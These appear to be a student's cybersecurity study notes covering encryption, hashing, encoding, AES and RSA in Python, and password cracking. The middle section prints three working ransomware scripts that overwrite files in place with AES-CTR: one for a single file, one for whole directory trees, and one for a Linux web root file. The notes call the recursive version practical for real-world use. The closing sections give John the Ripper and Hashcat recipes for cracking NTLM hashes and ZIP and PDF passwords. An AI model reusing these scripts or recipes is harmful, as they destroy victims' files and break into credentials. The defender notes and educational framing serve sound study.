Encryption and Hashing

🔐 CRYPTOGRAPHY – The Science of Secure Communication

🔶 Definition:

Cryptography is the science of encrypting and decrypting data to protect it from unauthorized access.

🔑 ENCRYPTION

🔶 What is Encryption?

- It transforms **plain text** (readable data) into **ciphertext** (unreadable).
- Requires a **key** to encrypt and a **key** to decrypt.

🔶 Types of Encryption:

1. Symmetric Key Encryption

- Uses the **same key** to encrypt and decrypt.
- 🔁 Fast but risky: If someone intercepts the key, they can read the messages.

🛑 **Problem:** How do you securely share the key?

2. Asymmetric Key Encryption

- Uses **two keys**:
  - **Public Key**: for encryption (shared openly)
  - **Private Key**: for decryption (kept secret)
- Public key encrypts → Private key decrypts

💡 **Important:**

- Attackers want the **private key**, not the public one.
- Used in **secure communication** (e.g., SSL/TLS, digital certificates)

☠️ HACKERS & ENCRYPTION

🔶 In Ransomware:

- Attackers use **asymmetric encryption**.
- The victim receives only the **public key**.
- Only the attacker has the **private key** (needed to decrypt).

🧩 HASHING

🔶 What is a Hash?

- A hash is a **fixed-length string** derived from data using a hashing **algorithm**.
- **No keys needed**, and it's **one-way only** (can't be decrypted).

🔶 Common Hash Algorithms:

Algorithm	Hash Length	Example
MD5	32 characters	`df2852a2b39ef0790c7acc806cdaca35`
SHA1	40 characters	`3dd29b9d75e470682695d3ca7ba2aa6c0536aced`
SHA256	64 characters	
SHA512	128 characters	
bcrypt	Variable, starts with `$2a$`	

🔶 Hashing vs Encryption:

Feature	Hashing	Encryption
Keys Used?	❌ No	✅ Yes
Reversible?	❌ No	✅ Yes (with key)
Purpose	Integrity, storage	Confidentiality

🔶 Cracking a Hash:

- **Can't decrypt**, but can guess the input by matching the output using:
    - **Rainbow Tables**

- **Hash cracking tools** (e.g., John the Ripper, Hashcat)
- **Online sites**: crackstation.net

🔤 ENCODING

🔶 What is Encoding?

- Converts data into a **different format** for safe transmission or display.
- **Not for security**, only for **representation**.
- **Easily reversible.**

🔶 Examples:

Type	Example
URL Encoding	<this is> → %3Cthis%20is%3E
HTML Encoding	<this is> → <this is>
Base64	<this is testing> → PHRoaXMgaXMgdGVzdGluZyA+IA==

💡 Use Case Examples:

- **URL Encoding**: Clean URLs
- **HTML Encoding**: Prevent XSS in web pages
- **Base64**: Embed images/data in emails or APIs

🧠 Summary Table

Term	Purpose	Reversible?	Uses a Key?	Examples
Encryption	Hide data	✅ Yes	✅ Yes	AES, RSA
Hashing	Validate data	❌ No	❌ No	SHA-1, SHA-256
Encoding	Format data	✅ Yes	❌ No	Base64, URL

✅ Useful Tools & Websites

- **Hash Cracking**: crackstation.net
- **Base64 Encoding/Decoding**: base64decode.org

- **John the Ripper**: A Password cracking tool
- **CyberChef**: Universal tool for encoding, decoding, and hashing

🛡️ Encryption and Ransomware: Summary & Explanation

🔐 Two Types of Encryption

1. **Symmetric Encryption**
    - **One Key** is used for both encryption and decryption.
    - Examples: **AES**, **DES**
    - 🔁 Fast, but sharing the key securely is a problem.
2. **Asymmetric Encryption**
    - Uses a **Public Key** (for encryption) and a **Private Key** (for decryption).
    - Examples: **RSA**
    - ✅ Solves the key exchange problem.
    - Used in **SSH**, **SSL**, **Digital Signatures**, and **Ransomware**.

☠️ How Ransomware Uses Encryption

- **Ransomware encrypts files using the victim's public key (RSA)**.
- Only the **attacker's private key** can decrypt them.
- The victim can't reverse the encryption unless they get the private key (which is usually sold for ransom).
- ⚠️ The P**rivate key is kept secret by the attacker.**

💻 SSH Key Generation and Usage (Asymmetric Encryption Example)

```
ssh-keygen -t rsa
```

- `t rsa`: generates an RSA key pair.

- Generates:
  - `id_rsa` : **Private Key** (KEEP SECRET)
  - `id_rsa.pub` : **Public Key** (Can be shared)

These can be used for **passwordless login to remote servers**.

📁 Sample Linux Command Flow:

```
cd /home/youssef
ls
cat youssef.txt
cat youssef.txt.pub.pub
```

This sequence shows:

- Navigating to your home directory
- Viewing key or text files, possibly related to SSH

🐍 Python Script for File Enumeration (e.g., for Ransomware Simulation)

🔍 Script: Walk Through Files in a Directory

```
import os
import os.path
from os import path

# Walk through directories and list full paths to files
for dir, sdir, files in os.walk(r"C:\\Users\\dell\\Videos"):
    for file in files:
        print(os.path.join(dir, file))
```

💡 Purpose:

- Enumerates all files in a given path — useful for:
  - **Backup scripts**

- **Security scanning**
- **Malware/ransomware simulation** (encrypting all files)

Joining Paths with `os.path.join`

```
x = os.path.join('/home/kali/', 'file.txt')
print(x)
# Output: /home/kali/file.txt
```

✅ Why use `os.path.join`?

- It safely builds a full path across different OS platforms (Windows `\` vs Linux `/`).

🔐 AES Encryption using `Crypto.Cipher` – CTR Mode

📌 What is AES?

- **AES (Advanced Encryption Standard)** is a **symmetric encryption algorithm**.
- It uses block ciphers with a block size of **128 bits (16 bytes)** and key sizes of 128, 192, or 256 bits.
- AES modes: **ECB, CBC, CTR, GCM, etc.**

🔁 AES Modes – Quick Overview

Mode	Description	IV Needed?	Stream or Block
ECB	Simple but insecure	❌	Block
CBC	Chained blocks	✅ IV	Block
CTR	Counter mode (stream-like)	✅ Counter	Stream
GCM	Authenticated encryption	✅ Nonce	Stream

🚀 AES in CTR Mode

CTR (Counter) mode turns AES into a **stream cipher**. It encrypts data one unit at a time using a counter value that is incremented.

✅ Features:

- Does **not require padding**
- Fast and parallelizable
- Needs a **unique counter/nonce per encryption**

🧠 Your Python Script Explained

```
from Crypto.Cipher import AES
from Crypto import Random
from Crypto.Util import Counter
```

🔐 AES CTR Encryption Function

```
def encryption(key, word):
  counter = Counter.new(128)  # Creates a 128-bit counter
  c = AES.new(key, AES.MODE_CTR, counter=counter)
  print(c.encrypt(word.encode('ascii')))
```

- `key` : must be **16 bytes** for AES-128 (which you're correctly using).
- `Counter.new(128)` : creates a counter for AES CTR.
- `.encrypt()` : encrypts the input string (converted to bytes).
- You must **store the counter or nonce** to decrypt later!

🔑 Example Key

```
key = b'\xd5\xa5\xfa\x95L\xda\xdf\x85\xe4\x00\xf3~p0\x05\x8c'
```

- This is a static 16-byte key for AES-128.

🔐 Output Example

```
encryption(key, 'this is youssef')
# Output: b'}I<J=\xee\x8bE\xf6\xde/\x92\x0e\xa34'
```

This is the **encrypted data** (ciphertext). It's unreadable without the correct **key** and **counter**.

⚠️ Important Notes

1. **Decryption requires the same counter** that was used for encryption.
2. CTR mode is **secure and efficient**, but the reuse of the counter with the same key = 💀.
3. For production, always:
   - Generate a **random nonce/counter**.
   - Store or send the counter with the ciphertext.
4. For text handling, prefer using `.encode()` and `.decode()` for string/byte conversions.

AES CTR Encryption & Decryption

```
from Crypto.Cipher import AES
from Crypto import Random
from Crypto.Util import Counter

# Encryption function
def encryption(key, word):
    nonce = Random.new().read(8)  # 64-bit random nonce
    counter = Counter.new(64, prefix=nonce)  # Create counter with nonce
    cipher = AES.new(key, AES.MODE_CTR, counter=counter)

    ciphertext = cipher.encrypt(word.encode('ascii'))
    print("Encrypted:", ciphertext)

    return ciphertext, nonce  # Return both ciphertext and nonce
```

```
# Decryption function
def decryption(key, ciphertext, nonce):
    counter = Counter.new(64, prefix=nonce)  # Use the same nonce
    cipher = AES.new(key, AES.MODE_CTR, counter=counter)
    decrypted = cipher.decrypt(ciphertext)
    print("Decrypted:", decrypted.decode('ascii'))


# Static 16-byte AES key (AES-128)
key = b'\xd5\xa5\xfa\x95L\xda\xdf\x85\xe4\x00\xf3~p0\x05\x8c'

# Test
ciphertext, nonce = encryption(key, 'this is youssef')
decryption(key, ciphertext, nonce)
```

🔍 How This Works

1. `encryption` **function:**
    - Generates a random **nonce**.
    - Builds a `Counter` object from the nonce.
    - Encrypts the plaintext.
    - Returns the ciphertext **and the nonce** (essential for decryption).
2. `decryption` **function:**
    - Uses the **same nonce** to build the same counter.
    - Decrypts the ciphertext back into plaintext.

⚠️ Important

- Always **store or transmit the nonce** securely with the ciphertext.
- Without the correct nonce, decryption will fail or return garbage.

🔐 Ransomware Scripts – Notes and Guide

⚠️ Disclaimer

This guide is for **educational and ethical purposes only**, such as **understanding malware for defense, forensic analysis**, or **cybersecurity training**. **Do not use** these scripts for illegal activities.

🔶 Common Concepts in All Scripts

🔑 AES Encryption (CTR Mode)

- All scripts use **AES (Advanced Encryption Standard)** in **CTR (Counter) mode**.
- CTR mode turns a block cipher into a stream cipher, encrypting data block-by-block using a counter.
- A 128-bit counter is used via `Crypto.Util.Counter.new(128)`.
- The scripts read and encrypt the file **in 16-byte (128-bit) chunks**.

📄 File Handling

- Files are opened with `'r+b'`: read and write in binary mode.
- For each 16-byte block:
  - It is read from the file.
  - The file pointer moves back (`f.seek(...)`) to **overwrite** the original data with the **encrypted** one.

🧨 Ransomewar1

🔷 Description

- Encrypts a **single file**.
- File path is hardcoded:

```
enc(key, r"c:\Users\dell\Desktop\test.py\open.py.txt")
```

✅ Pros (from attacker view)

- Simple, small, targeted.

❌ Cons

- Encrypts only one file.
- Not scalable for mass file encryption.

🔑 Common Components

▶️ AES-CTR Encryption

All scripts use **AES encryption** with **CTR mode**:

```
from Crypto.Cipher import AES
from Crypto.Util import Counter

# Key: 16 bytes (128-bit)
key = b'\nCj\x8e\x8d6/\xac<\x00\xd8?G\xdc\xeb\x06'

# 128-bit counter (required for CTR mode)
counter = Counter.new(128)

# AES cipher in CTR mode
cipher = AES.new(key, AES.MODE_CTR, counter=counter)
```

🧨 Ransomewar1 — Encrypt One File (Windows)

📄 Code

```
from Crypto.Cipher import AES
from Crypto import Random
from Crypto.Util import Counter
from os import path

def enc(key, fullpath):
    counter = Counter.new(128)  # 128-bit counter
    c = AES.new(key, AES.MODE_CTR, counter=counter)

    with open(fullpath, 'r+b') as f:
```

```
        plaintext = f.read(16)
        while plaintext:
            f.seek(-len(plaintext), 1)  # Move back to overwrite
            f.write(c.encrypt(plaintext))
            plaintext = f.read(16)

key = b'\nCj\x8e\x8d6/\xac<\x00\xd8?G\xdc\xeb\x06'
enc(key, r"c:\Users\dell\Desktop\test.py\open.py.txt")
```

💡 Notes

- Encrypts **only one file**.
- Target file path is hardcoded.
- No error handling.

🧨 Ransomewar2

🔷 Description

- Encrypts **all files in a directory recursively** using `os.walk`.
- For each file:

  ```
  enc(key, fullpath)
  ```

🔧 Improvements over Ransomewar1

- Automates mass encryption of files in a directory tree.
- More dangerous and practical for real-world ransomware.

🧨 Ransomewar2 — Encrypt All Files in a Folder (Windows)

📄 Code

```
from Crypto.Cipher import AES
from Crypto import Random
```

```
from Crypto.Util import Counter
import os

def enc(key, fullpath):
    counter = Counter.new(128)
    c = AES.new(key, AES.MODE_CTR, counter=counter)
    with open(fullpath, 'r+b') as f:
        plaintext = f.read(16)
        while plaintext:
            f.seek(-len(plaintext), 1)
            f.write(c.encrypt(plaintext))
            plaintext = f.read(16)

key = b'\nCj\x8e\x8d6/\xac<\x00\xd8?G\xdc\xeb\x06'
for dirpath, subdirs, files in os.walk(r"c:\Users\dell\Desktop\test.py"):
    for file in files:
        fullpath = os.path.join(dirpath, file)
        print("Encrypting:", fullpath)
        enc(key, fullpath)
```

💡 Notes

- Encrypts **all files recursively** in a given directory.
- Uses `os.walk()` for recursion.
- Silent, effective for bulk file compromise.

🐧 Linux Ransomware Script

🔷 Description

- Designed to work on **Linux**.
- Encrypts a file (e.g., `/var/www/html/index.html`).
- Handles exceptions, and prints a message if encryption fails (e.g., due to permissions).

🛠️ Features

- Can be run with `sudo` if needed.
- Better error handling than the Windows versions.
- Intended for **Linux servers or web directories**.

🐧 Linux Ransomware — Target Specific File

📄 Code

```
from Crypto.Cipher import AES
from Crypto import Random
from Crypto.Util import Counter
import os

def encrypt_file(key, fullpath):
    counter = Counter.new(128)  # 128-bit counter
    cipher = AES.new(key, AES.MODE_CTR, counter=counter)

    with open(fullpath, 'r+b') as f:
        while True:
            plaintext = f.read(16)
            if not plaintext:
                break
            f.seek(-len(plaintext), os.SEEK_CUR)
            f.write(cipher.encrypt(plaintext))

if __name__ == "__main__":
    key = b'p\xbfV\x1b\xbb\x11P\xd8\xaf\xe1\x83\xc8\x99*:\xc8'
    try:
        encrypt_file(key, "/var/www/html/index.html")
        print("File encrypted successfully!")
    except Exception as e:
        print(f"Error: {e}")
        print("Try running with sudo if permission denied")
```

💡 Notes

- Encrypts a **Linux server file** (e.g., web page).
- Includes **error handling** and **permissions warning**.
- Can be adapted to encrypt multiple files.

🧠 Summary Table

Feature	Ransomewar1	Ransomewar2	Linux Version
Target	One file	Directory + subfiles	One file
OS	Windows	Windows	Linux
Recursive	❌	✅	❌
Error Handling	❌	❌	✅
Suitability	Proof of concept	Scalable ransomware	Linux web attack

---

🧷 Security Notes for Defenders

1. **Detect Suspicious File Access**: Monitor frequent read/write in binary mode over sensitive directories.
2. **File Integrity Monitoring**: Use hash comparison or tools like `tripwire`.
3. **Encryption Key Detection**: Hardcoded keys like `b'\nCj\x8e...` are a signature for detection.
4. **Behavioral Detection**:
    - AES CTR usage.
    - Mass file modifications.
    - Running Python scripts with file system access.
5. **Backup and Restore Strategy**: Always maintain offline backups.
6. **Permissions Management**: Use least-privilege access for critical directories.

🛡️ Countermeasures

- Use EDR tools (e.g., CrowdStrike, SentinelOne).
- Monitor script execution in suspicious directories.

- Alert on usage of `Crypto.Cipher` and `os.walk()` in non-development contexts.

🔐 RSA Encryption & Decryption in Python

📌 What is RSA?

- **RSA** is an **asymmetric encryption algorithm**.
- It uses:
  - 🔒 **Public Key** → for encryption
  - 🔐 **Private Key** → for decryption
- Common in secure communications: **HTTPS**, **SSH**, **PGP**, and **ransomware**.

✅ Key Concepts

Term	Description
Asymmetric	Uses two different keys
Public Key	Shared with anyone to **encrypt**
Private Key	Must be kept secret to **decrypt**
PKCS1_OAEP	Padding scheme to securely encrypt using RSA

🧠 Script Breakdown

🛠️ 1. Key Generation (optional)

```
from Crypto.PublicKey import RSA

# Generate a pair of RSA keys (optional, you already have keys)
key_pair = RSA.generate(1024)
private_key = key_pair.export_key()
public_key = key_pair.public_key().export_key()
```

> You can skip this if you're using existing keys (as in your case).

🔑 2. RSA Public Key Encryption

```
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA

# Import the public key
public_key = b"-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY---
--"
imported_public_key = RSA.import_key(public_key)

# Create cipher with public key
cipher = PKCS1_OAEP.new(imported_public_key)

# Encrypt the message
data = b"this is youssef amir"
encrypted_data = cipher.encrypt(data)
print(encrypted_data)
```

- `PKCS1_OAEP` is a secure padding scheme.
- Encrypts plaintext into a **binary ciphertext**.
- You can only decrypt it using the matching **private key**.

🔓 3. RSA Private Key Decryption

```
# Import the private key
private_key = b"-----BEGIN RSA PRIVATE KEY-----\n...\n-----END RSA PRI
VATE KEY-----"
imported_private_key = RSA.import_key(private_key)

# Create cipher with private key
cipher = PKCS1_OAEP.new(imported_private_key)

# Decrypt the ciphertext
decrypted_data = cipher.decrypt(encrypted_data)
print(decrypted_data)
```

- Decrypts the binary encrypted message back into plaintext.

🔐 Sample Output

```
Encrypted: b"...binary bytes..."
Decrypted: b'this is youssef amir'
```

⚠️ Important Notes

🔍 Area	✅ Tip
Security	Never share your **private key**. Only the public key is safe to distribute.
Key Size	1024 bits is okay for demos; use **2048+ bits** in production.
Data Size Limit	RSA can only encrypt data **smaller than the key size**. Use hybrid encryption for large files (see below).
Binary Data	Encrypted result is binary – store it using **base64** or save as a file.

💡 Extra: Hybrid Encryption for Files

- RSA is **slow** and **limited in size**.
- So in real apps:
  1. Generate a random **AES key**.
  2. Encrypt the **data with AES**.
  3. Encrypt the **AES key with RSA**.
  4. Send both: `encrypted_AES_key + encrypted_data`.

This combines **speed (AES)** and **security (RSA)**.

📦 Installation

If you haven't already:

```
pip install pycryptodome
```

🧪 Final Demo Template

Here's a clean and complete version of your script:

```
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA

# ----- Step 1: Load the keys -----
public_key = b"""-----BEGIN PUBLIC KEY-----
...
-----END PUBLIC KEY-----"""

private_key = b"""-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----"""

# ----- Step 2: Encrypt with public key -----
rsa_public = RSA.import_key(public_key)
cipher_encrypt = PKCS1_OAEP.new(rsa_public)
plaintext = b"this is youssef amir"
ciphertext = cipher_encrypt.encrypt(plaintext)
print("Encrypted:", ciphertext)

# ----- Step 3: Decrypt with private key -----
rsa_private = RSA.import_key(private_key)
cipher_decrypt = PKCS1_OAEP.new(rsa_private)
decrypted = cipher_decrypt.decrypt(ciphertext)
print("Decrypted:", decrypted.decode())
```

🔐 Hash Cracking

📌 What is a Hash?

A **hash** is a one-way function that turns data (like a password) into a fixed-size string. It's:

- **Deterministic** (same input = same output)

- **Non-reversible**
- **Used for passwords, integrity checks, etc.**

🧪 Common Hash Algorithms & Examples

Algorithm	Output Length	Example
MD5	32 hex chars	`5f4dcc3b5aa765d61d8327deb882cf99`
SHA-1	40 hex chars	`7c222fb2927d828af22f592134e8932480637c0d`
SHA-256	64 hex chars	`ef797c8118f02d4c602d7b649cf0a978...`
bcrypt	`$2y$12$...`	Used in modern password hashing

⚠️ MD5 Vulnerability

- **Fast & broken**: Makes brute force and collision attacks easy.
- Widely used in legacy systems — **never recommended** for modern apps.

🧰 Tools Used for Cracking

1. John the Ripper (JTR)

Installation:

```
sudo apt install john
```

Common commands:

```
# Basic hash cracking
john --wordlist=rockyou.txt hash.txt

# Specify hash format (e.g., raw-md5, raw-sha1)
john --format=raw-md5 --wordlist=rockyou.txt hash.txt
john --format=raw-sha1 --wordlist=rockyou.txt hash.txt
```

Check hash type with length:

- 32 chars → MD5
- 40 chars → SHA1

- 64 chars → SHA256

2. rockyou.txt

- Huge password dictionary located at:

```
/usr/share/wordlists/rockyou.txt
```

Use it like this:

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

3. Crackstation.net (Online)

- Upload or paste the hash
- Supports MD5, SHA1, SHA256, and more
- Uses a large precomputed table (rainbow tables)

🔗 https://crackstation.net

🧪 Example Walkthrough

➤ Step-by-step session (your terminal history explained):

```
389  john                          # Run JtR
390  cd Downloads                  # Navigate to Downloads
391  la                            # List all files (should be 'ls -la')
392–394 more rockyou.txt          # View wordlist
395  nano hash.txt                 # Create or open file to insert hash
396  john                          # Run without args = help
397  john -h                       # Show help
399  john --format=raw-md5 --wordlist=rockyou.txt hash.txt
400  echo "123456joe" | sha1sum  # Create SHA1 hash
401  nano hash.txt                 # Paste hash for cracking
402  john --format=raw-sha1 --wordlist=rockyou.txt hash.txt
404  cat rockyou.txt | grep 123456joe  # Check if word exists in wordlist
406  john --wordlist=rockyou.txt hash.txt  # Let John auto-detect hash typ
```

```
e
```

🔄 Example Output

```
123456joe → SHA1: 3dd29b9d75e470682695d3ca7ba2aa6c0536aced

# Content of hash.txt:
3dd29b9d75e470682695d3ca7ba2aa6c0536aced

# Crack command:
john --format=raw-sha1 --wordlist=rockyou.txt hash.txt

# Output:
Loaded 1 password hash (Raw SHA1 [SHA1 128/128 SSE2 4x])
123456joe        (?)

# Show result:
john --show hash.txt
```

✅ Final Tips

- Use `john --show hash.txt` to display cracked passwords.
- For stronger hashes like bcrypt, use `-format=bcrypt`.
- Combine with tools like **Hash-Identifier** or `hashid` to detect the hash type:

  ```
  sudo apt install hashid
  hashid <yourhash>
  ```

🔐 Hash Cracking using John the Ripper & Hashcat

📁 Tools Required

Install the necessary tools:

```
sudo apt update
sudo apt install john hashcat -y
```

You might also need `unrar`, `zip`, and `python3` for some scripts:

```
sudo apt install unrar zip python3 -y
```

1️⃣ Cracking LM Hashes (Old Windows LAN Manager Hashes)

📌 With John the Ripper

```
john --format=LM --wordlist=rockyou.txt hash.txt
```

> Make sure hash.txt contains the LM hashes in this format:

```
AAD3B435B51404EEAAD3B435B51404EE
```

Check cracked passwords:

```
john --show --format=LM hash.txt
```

2️⃣ Cracking NTLM Hashes

📌 With Hashcat

NTLM hash mode is `-m 1000`

```
hashcat -m 1000 -a 0 hash.txt rockyou.txt
```

- `m 1000`: NTLM
- `a 0`: Dictionary attack

- `hash.txt`: File with NTLM hashes
- `rockyou.txt`: Password wordlist

Resume session:

```
hashcat --restore
```

Show cracked:

```
hashcat -m 1000 -a 0 hash.txt rockyou.txt --show
```

3️⃣ Cracking Password-Protected ZIP Files

📌 Step 1: Extract ZIP hash using `zip2john`

```
zip2john archive.zip > zip_hash.txt
```

📌 Step 2: Crack it using John

```
john --wordlist=rockyou.txt zip_hash.txt
```

Check the result:

```
john --show zip_hash.txt
```

4️⃣ Cracking Password-Protected PDF Files

📌 Step 1: Extract PDF hash

Use the Python version of `pdf2john`:

```
python3 /usr/share/john/pdf2john.py document.pdf > pdf_hash.txt
```

Alternatively:

```
/usr/share/john/pdf2john.pl document.pdf > pdf_hash.txt
```

📌 Step 2: Crack the PDF hash with John

```
john --format=pdf --wordlist=rockyou.txt pdf_hash.txt
```

Show cracked password:

```
john --show --format=pdf pdf_hash.txt
```

🧠 Useful Tips

🔍 Check supported formats

```
john --list=formats
```

📝 Combine John and Hashcat's strengths

- Use **John** for parsing and fast cracking.
- Use **Hashcat** for GPU-accelerated brute force/dictionary attacks.

📁 Hash File Formatting

Ensure hashes are properly formatted and on separate lines. Remove any leading/trailing whitespaces.

🛠️ Common Issues & Fixes

Problem	Fix
`Unknown format`	Check format using `john --list=formats`
`No hashes loaded`	Recheck file encoding, hash format
Hashcat not recognizing hashes	Verify hash mode and format
Wordlist not found	Use `rockyou.txt` from `/usr/share/wordlists/rockyou.txt` (run `gunzip` if needed)